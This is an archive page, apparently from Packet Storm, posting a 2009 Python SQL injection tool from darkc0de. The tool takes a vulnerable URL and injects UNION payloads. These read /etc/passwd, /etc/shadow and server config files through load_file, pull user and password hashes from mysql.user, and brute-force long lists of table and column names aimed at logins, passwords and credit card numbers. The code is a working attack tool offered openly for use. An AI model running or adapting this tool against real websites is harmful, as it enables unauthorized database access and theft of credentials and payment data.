what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

SQL Injection Fuzzing Tool

SQL Injection Fuzzing Tool
Posted Feb 9, 2009
Authored by baltazar | Site darkc0de.com

SQL Fuzzer version 1.0 that is written in Python. Yes, another one.

tags | python, fuzzer
SHA-256 | a256fb6b24c4beebaa2c4be61642c4ed8d7c9cd5a7ca09a09243505f152f00e3

SQL Injection Fuzzing Tool

Change Mirror Download
#!/usr/bin/python
# This was written for educational purpose only. Use it at your own risk.
# Author will be not responsible for any damage!
# !!! Special greetz for my friend sinner_01 !!!
# !!! Special thanx for d3hydr8 and rsauron who inspired me !!!
#
################################################################
# .___ __ _______ .___ #
# __| _/____ _______| | __ ____ \ _ \ __| _/____ #
# / __ |\__ \\_ __ \ |/ // ___\/ /_\ \ / __ |/ __ \ #
# / /_/ | / __ \| | \/ <\ \___\ \_/ \/ /_/ \ ___/ #
# \____ |(______/__| |__|_ \\_____>\_____ /\_____|\____\ #
# \/ \/ \/ #
# ___________ ______ _ __ #
# _/ ___\_ __ \_/ __ \ \/ \/ / #
# \ \___| | \/\ ___/\ / #
# \___ >__| \___ >\/\_/ #
# est.2007 \/ \/ forum.darkc0de.com #
################################################################
# --- d3hydr8 - rsauron - P47r1ck - r45c4l - C1c4Tr1Z - bennu #
# --- QKrun1x - skillfaker - Croathack - Optyx - Nuclear #
# --- Eliminator and to all members of darkc0de and ljuska.org# #
################################################################

import sys, os, time, re, urllib2, httplib, socket

if sys.platform == 'linux' or sys.platform == 'linux2':
clearing = 'clear'
else:
clearing = 'cls'
os.system(clearing)

proxy = "None"
count = 0

if len(sys.argv) < 2 or len(sys.argv) > 4:
print "\n|---------------------------------------------------------------|"
print "| b4ltazar[@]gmail[dot]com |"
print "| 02/2009 Sql Fuzzer v1.0 |"
print "| Help: sql-fuzzer.py -h |"
print "| Visit www.darkc0de.com and www.ljuska.org |"
print "|---------------------------------------------------------------|\n"
sys.exit(1)

for arg in sys.argv:
if arg == '-h':
print "\n|-------------------------------------------------------------------------------|"
print "| b4ltazar[@]gmail[dot]com |"
print "| 02/2009 Sql Fuzzer v1.0 |"
print "| Usage: sql-fuzzer.py www.site.com |"
print "| Proxy: www.site.com -p PROXY |"
print "| Example: sql-fuzzer.py http://site.com/news.php?id=1+union+all+select+baltazar|"
print "| Visit www.darkc0de.com and www.ljuska.org |"
print "|-------------------------------------------------------------------------------|\n"
sys.exit(1)
elif arg == '-p':
proxy = sys.argv[count+1]
count += 1


site = sys.argv[1]
if site[:4] != "http":
site = "http://"+site
if site.endswith("--"):
site = site.rstrip('--')
if site.endswith("/*"):
site = site.rstrip('/*')



plus = "+"


filelist = ["/etc/passwd","/etc/shadow","/etc/fstab","/etc/host.conf","/etc/motd","/etc/apache/apache.conf","/etc/apache2/apache.conf","/etc/apache/httpd.conf","/etc/apache2/httpd.conf","/etc/apache2/vhosts.d/00_default_vhost.conf","/etc/apache2/sites-available/default","/etc/phpmyadmin/config.inc.php","/etc/mysql/my.cnf","/etc/httpd/logs/error_log","/etc/httpd/logs/error.log","/etc/httpd/logs/access_log","/etc/httpd/logs/access.log","/var/log/apache/error_log","/var/log/apache/error.log","/var/log/apache/access_log","/var/log/apache/access.log","/var/log/apache2/error_log","/var/log/apache2/error.log","/var/log/apache2/access_log","/var/log/apache2/access.log","/var/www/logs/error_log","/var/www/logs/error.log","/var/www/logs/access_log","/var/www/logs/access.log","/usr/local/apache/logs/error_log","/usr/local/apache/logs/error.log","/usr/local/apache/logs/access_log","/usr/local/apache/logs/access.log","/var/log/error_log","/var/log/error.log","/var/log/access_log","/var/log/access.log","/usr/local/apache/logs/access_log access_log.old","/usr/local/apache/logs/error_log error_log.old",
"../../../../../../../../../etc/php.ini","../../../../../../../../../bin/php.ini","../../../../../../../../../etc/httpd/php.ini","../../../../../../../../../usr/lib/php.ini","../../../../../../../../../usr/lib/php/php.ini","../../../../../../../../../usr/local/etc/php.ini","../../../../../../../../../usr/local/lib/php.ini","../../../../../../../../../usr/local/php/lib/php.ini","../../../../../../../../../usr/local/php4/lib/php.ini","../../../../../../../../../usr/local/php5/lib/php.ini","../../../../../../../../../usr/local/apache/conf/php.ini","../../../../../../../../../etc/php4.4/fcgi/php.ini","../../../../../../../../../etc/php4/apache/php.ini","../../../../../../../../../etc/php4/apache2/php.ini","../../../../../../../../../etc/php5/apache/php.ini","../../../../../../../../../etc/php5/apache2/php.ini","../../../../../../../../../etc/php/php.ini","../../../../../../../../../etc/php/php4/php.ini","../../../../../../../../../etc/php/apache/php.ini","../../../../../../../../../etc/php/apache2/php.ini","../../../../../../../../../web/conf/php.ini","../../../../../../../../../usr/local/Zend/etc/php.ini","../../../../../../../../../opt/xampp/etc/php.ini","../../../../../../../../../var/local/www/conf/php.ini","../../../../../../../../../etc/php/cgi/php.ini","../../../../../../../../../etc/php4/cgi/php.ini","../../../../../../../../../etc/php5/cgi/php.ini","../../../../../../../../../php5\php.ini","../../../../../../../../../php4\php.ini","../../../../../../../../../php\php.ini","../../../../../../../../../PHP\php.ini","../../../../../../../../../WINDOWS\php.ini","../../../../../../../../../WINNT\php.ini","../../../../../../../../../apache\php\php.ini","../../../../../../../../../xampp\apache\bin\php.ini","../../../../../../../../../NetServer\bin\stable\apache\php.ini","../../../../../../../../../home2\bin\stable\apache\php.ini","../../../../../../../../../home\bin\stable\apache\php.ini","../../../../../../../../../Volumes/Macintosh_HD1/usr/local/php/lib/php.ini","/var/log/mysql/mysql-bin.log","/var/log/mysql.log","/var/log/mysqlderror.log","/var/log/mysql/mysql.log","/var/log/mysql/mysql-slow.log","/var/mysql.log","/var/lib/mysql/my.cnf","/etc/mysql/my.cnf","/etc/my.cnf","/usr/local/cpanel/logs","/usr/local/cpanel/logs/stats_log","/usr/local/cpanel/logs/access_log","/usr/local/cpanel/logs/error_log","/usr/local/cpanel/logs/license_log","/usr/local/cpanel/logs/login_log","/usr/local/cpanel/logs/stats_log","/var/cpanel/cpanel.config"]

tables = ['user','users','tbladmins','Logins','logins','login','admins','members','member', '_wfspro_admin', '4images_users', 'a_admin', 'account', 'accounts', 'adm', 'admin', 'admin_login', 'admin_user', 'admin_userinfo', 'administer', 'administrable', 'administrate', 'administration', 'administrator', 'administrators', 'adminrights', 'admins', 'adminuser','adminusers','article_admin', 'articles', 'artikel','author', 'autore', 'backend', 'backend_users', 'backenduser', 'bbs', 'book', 'chat_config', 'chat_messages', 'chat_users', 'client', 'clients', 'clubconfig', 'company', 'config', 'contact', 'contacts', 'content', 'control', 'cpg_config', 'cpg132_users', 'customer', 'customers', 'customers_basket', 'dbadmins', 'dealer', 'dealers', 'diary', 'download', 'Dragon_users', 'e107.e107_user', 'e107_user', 'forum.ibf_members', 'fusion_user_groups', 'fusion_users', 'group', 'groups', 'ibf_admin_sessions', 'ibf_conf_settings', 'ibf_members', 'ibf_members_converge', 'ibf_sessions', 'icq', 'index', 'info', 'ipb.ibf_members', 'ipb_sessions', 'joomla_users', 'jos_blastchatc_users', 'jos_comprofiler_members', 'jos_contact_details', 'jos_joomblog_users', 'jos_messages_cfg', 'jos_moschat_users', 'jos_users', 'knews_lostpass', 'korisnici', 'kpro_adminlogs', 'kpro_user', 'links', 'login_admin', 'login_admins', 'login_user', 'login_users','logon', 'logs', 'lost_pass', 'lost_passwords', 'lostpass', 'lostpasswords', 'm_admin', 'main', 'mambo_session', 'mambo_users', 'manage', 'manager', 'mb_users','memberlist','minibbtable_users', 'mitglieder', 'mybb_users', 'mysql', 'name', 'names', 'news', 'news_lostpass', 'newsletter', 'nuke_users', 'obb_profiles', 'order', 'orders', 'parol', 'partner', 'partners', 'passes', 'password', 'passwords', 'perdorues', 'perdoruesit', 'phorum_session', 'phorum_user', 'phorum_users', 'phpads_clients', 'phpads_config', 'phpbb_users', 'phpBB2.forum_users', 'phpBB2.phpbb_users', 'phpmyadmin.pma_table_info', 'pma_table_info', 'poll_user', 'punbb_users', 'pwd', 'pwds', 'reg_user', 'reg_users', 'registered', 'reguser', 'regusers', 'session', 'sessions', 'settings', 'shop.cards', 'shop.orders', 'site_login', 'site_logins', 'sitelogin', 'sitelogins', 'sites', 'smallnuke_members', 'smf_members', 'SS_orders', 'statistics', 'superuser', 'sysadmin', 'sysadmins', 'system', 'sysuser', 'sysusers', 'table', 'tables', 'tb_admin', 'tb_administrator', 'tb_login', 'tb_member', 'tb_members', 'tb_user', 'tb_username', 'tb_usernames', 'tb_users', 'tbl', 'tbl_user', 'tbl_users', 'tbluser', 'tbl_clients', 'tbl_client', 'tblclients', 'tblclient', 'test', 'usebb_members','user_admin', 'user_info', 'user_list', 'user_login', 'user_logins', 'user_names', 'usercontrol', 'userinfo', 'userlist', 'userlogins', 'username', 'usernames', 'userrights','vb_user', 'vbulletin_session', 'vbulletin_user', 'voodoo_members', 'webadmin', 'webadmins', 'webmaster', 'webmasters', 'webuser', 'webusers','wp_users', 'x_admin', 'xar_roles', 'xoops_bannerclient', 'xoops_users', 'yabb_settings', 'yabbse_settings', 'Category', 'CategoryGroup', 'ChicksPass', 'dtproperties', 'JamPass', 'News', 'Passwords by usage count', 'PerfPassword', 'PerfPasswordAllSelected','pristup', 'SubCategory', 'tblRestrictedPasswords', 'Ticket System Acc Numbers', 'Total Members', 'UserPreferences', 'tblConfigs', 'tblLogBookAuthor', 'tblLogBookUser', 'tblMails', 'tblOrders', 'tblUser', 'cms_user', 'cms_users', 'cms_admin', 'cms_admins', 'user_name', 'jos_user', 'table_user', 'email', 'mail', 'bulletin', 'login_name', 'admuserinfo', 'userlistuser_list', 'SiteLogin', 'Site_Login', 'UserAdmin']

columns = ['user', 'username', 'password', 'passwd', 'pass', 'cc_number', 'id', 'email', 'emri', 'fjalekalimi', 'pwd', 'user_name', 'customers_email_address', 'customers_password', 'user_password', 'name', 'user_pass', 'admin_user', 'admin_password', 'admin_pass', 'usern', 'user_n', 'users', 'login', 'logins', 'login_user', 'login_admin', 'login_username', 'user_username', 'user_login', 'auid', 'apwd', 'adminid', 'admin_id', 'adminuser', 'adminuserid', 'admin_userid', 'adminusername', 'admin_username', 'adminname', 'admin_name', 'usr', 'usr_n', 'usrname', 'usr_name', 'usrpass', 'usr_pass', 'usrnam', 'nc', 'uid', 'userid', 'user_id', 'myusername', 'mail', 'emni', 'logohu', 'punonjes', 'kpro_user', 'wp_users', 'emniplote', 'perdoruesi', 'perdorimi', 'punetoret', 'logini', 'llogaria', 'fjalekalimin', 'kodi', 'emer', 'ime', 'korisnik', 'korisnici', 'user1', 'administrator', 'administrator_name', 'mem_login', 'login_password', 'login_pass', 'login_passwd', 'login_pwd', 'sifra', 'lozinka', 'psw', 'pass1word', 'pass_word', 'passw', 'pass_w', 'user_passwd', 'userpass', 'userpassword', 'userpwd', 'user_pwd', 'useradmin', 'user_admin', 'mypassword', 'passwrd', 'admin_pwd', 'admin_passwd', 'mem_password', 'memlogin', 'e_mail', 'usrn', 'u_name', 'uname', 'mempassword', 'mem_pass', 'mem_passwd', 'mem_pwd', 'p_word', 'pword', 'p_assword', 'myname', 'my_username', 'my_name', 'my_password', 'my_email', 'cvvnumber ', 'about', 'access', 'accnt', 'accnts', 'account', 'accounts', 'admin', 'adminemail', 'adminlogin', 'adminmail', 'admins', 'aid', 'aim', 'auth', 'authenticate', 'authentication', 'blog', 'cc_expires', 'cc_owner', 'cc_type', 'cfg', 'cid', 'clientname', 'clientpassword', 'clientusername', 'conf', 'config', 'contact', 'converge_pass_hash', 'converge_pass_salt', 'crack', 'customer', 'customers', 'cvvnumber', 'data', 'db_database_name', 'db_hostname', 'db_password', 'db_username', 'download', 'e-mail', 'emailaddress', 'full', 'gid', 'group', 'group_name', 'hash', 'hashsalt', 'homepage', 'icq', 'icq_number', 'id_group', 'id_member', 'images', 'index', 'ip_address', 'last_ip', 'last_login', 'lastname', 'log', 'login_name', 'login_pw', 'loginkey', 'loginout', 'logo', 'md5hash', 'member', 'member_id', 'member_login_key', 'member_name', 'memberid', 'membername', 'members', 'new', 'news', 'nick', 'number', 'nummer', 'pass_hash', 'passwordsalt', 'passwort', 'personal_key', 'phone', 'privacy', 'pw', 'pwrd', 'salt', 'search', 'secretanswer', 'secretquestion', 'serial', 'session_member_id', 'session_member_login_key', 'sesskey', 'setting', 'sid', 'spacer', 'status', 'store', 'store1', 'store2', 'store3', 'store4', 'table_prefix', 'temp_pass', 'temp_password', 'temppass', 'temppasword', 'text', 'un', 'user_email', 'user_icq', 'user_ip', 'user_level', 'user_passw', 'user_pw', 'user_pword', 'user_pwrd', 'user_un', 'user_uname', 'user_usernm', 'user_usernun', 'user_usrnm', 'userip', 'userlogin', 'usernm', 'userpw', 'usr2', 'usrnm', 'usrs', 'warez', 'xar_name', 'xar_pass']

print "\n|---------------------------------------------------------------|"
print "| b4ltazar[@]gmail[dot]com |"
print "| 02/2009 Sql Fuzzer v1.0 |"
print "| Visit www.darkc0de.com and www.ljuska.org |"
print "|---------------------------------------------------------------|\n"
print "\n[-] %s" % time.strftime("%X")
if site.find("baltazar") == -1:
print "\nSite must contain --> baltazar"
print
sys.exit(1)
socket.setdefaulttimeout(20)
try:
if proxy != "None":
print "[+] Proxy:",proxy
print "\n[+] Testing Proxy..."
pr = httplib.HTTPConnection(proxy)
pr.connect()
proxy_handler = urllib2.ProxyHandler({'http': 'http://'+proxy+'/'})
proxyfier = urllib2.build_opener(proxy_handler)
proxyfier.open("http://www.google.com")
print
print "\t[!] w00t!,w00t! Proxy: "+proxy+" Working"
print
else:
print "[-] Proxy not given"
print
proxy_handler = ""
except(socket.timeout):
print
print "\t[-] Proxy Timed Out"
print
sys.exit(1)
except(),msg:
print msg
print "\t[-] Proxy Failed"
print
sys.exit(1)


try:
url = "http://antionline.com/tools-and-toys/ip-locate/index.php?address="
except(IndexError):
print "[-] Wtf?"
proxyfier = urllib2.build_opener(proxy_handler)
proxy_check = proxyfier.open(url).readlines()
for line in proxy_check:
if re.search("<br><br>",line):
line = line.replace("</b>","").replace('<br>',"").replace('<b>',"")
print "\n[!]",line,"\n"


print "[+] Target:",site
print
print "\t[+] Checking for load_file ..."
print

try:
load = site.replace("baltazar","load_file(0x2f6574632f706173737764)")
source = proxyfier.open(load).read()
if re.findall("root:x:",source):
for file in filelist:
load = site.replace("baltazar","concat_ws(char(58),load_file(0x"+file.encode("hex")+"),0x62616c74617a6172)")
source = proxyfier.open(load).read()
search = re.findall("baltazar",source)
if len(search) > 0:

print "[!] w00t!,w00t! Found: ",file
print "[!]",site.replace("baltazar","load_file(0x"+file.encode("hex")+")")
print


except(KeyboardInterrupt,SystemExit):

raise
print "[-] Searching done!\n"

print "\t[+] Checking for MySQL DB ..."
print
try:
load = site.replace("baltazar","concat_ws(char(58),user,password,0x62616c74617a6172)")+plus+"from"+plus+"mysql.user"
source = proxyfier.open(load).read()
if re.findall("baltazar",source):
print "[!] w00t!,w00t!: "+site.replace("baltazar","concat_ws(char(58),user,password)")+plus+"from"+plus+"mysql.user"
print
else:
"[-] No MySQL DB :("
print
except(KeyboardInterrupt, SystemExit):
raise
print "[-] Searching done!\n"

print "[+] Number of tables:",len(tables)
print "[+] Number of column:",len(columns)
print "[+] Checking for tables and columns..."
print
target = site.replace("baltazar","0x62616c74617a6172")+plus+"from"+plus+"T"
for table in tables:
#print "Checking:",site+' --> '+table.replace("\n","")
try:
target_table = target.replace("T",table)
source = proxyfier.open(target_table).read()
search = re.findall("baltazar", source)
if len(search) > 0:
print
print "-"*80
print "\n[!] w00t!,w00t! Found a table called: < "+table+" >"
print "\n[+] Lets check for columns inside table < "+table+" >"
for column in columns:
try:
source = proxyfier.open(target_table.replace("0x62616c74617a6172",
"concat_ws(char(58),0x62616c74617a6172,"+column+")")).read()
search = re.findall("baltazar",source)
if len(search) > 0:
print "[!] w00t!,w00t! Found a column called: < "+column+" >"
except (KeyboardInterrupt, SystemExit):
raise
except:
pass
print

print "[-] Done searching inside table < "+table+" > for columns!"
print
print "-"*80
print
except (KeyboardInterrupt, SystemExit):
raise
except:
pass

print
print "*"*80
print
print "\t\t\tFuzzing is finished :)"
print "\t\tFor better results add new tables and columns names ..."
print "\n[-] %s" % time.strftime("%X")
print
print "*"*80
Login or Register to add favorites

File Archive:

September 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    23 Files
  • 2
    Sep 2nd
    12 Files
  • 3
    Sep 3rd
    0 Files
  • 4
    Sep 4th
    0 Files
  • 5
    Sep 5th
    10 Files
  • 6
    Sep 6th
    8 Files
  • 7
    Sep 7th
    30 Files
  • 8
    Sep 8th
    14 Files
  • 9
    Sep 9th
    26 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    5 Files
  • 13
    Sep 13th
    28 Files
  • 14
    Sep 14th
    15 Files
  • 15
    Sep 15th
    17 Files
  • 16
    Sep 16th
    9 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    12 Files
  • 20
    Sep 20th
    15 Files
  • 21
    Sep 21st
    20 Files
  • 22
    Sep 22nd
    13 Files
  • 23
    Sep 23rd
    12 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    30 Files
  • 27
    Sep 27th
    27 Files
  • 28
    Sep 28th
    8 Files
  • 29
    Sep 29th
    14 Files
  • 30
    Sep 30th
    19 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close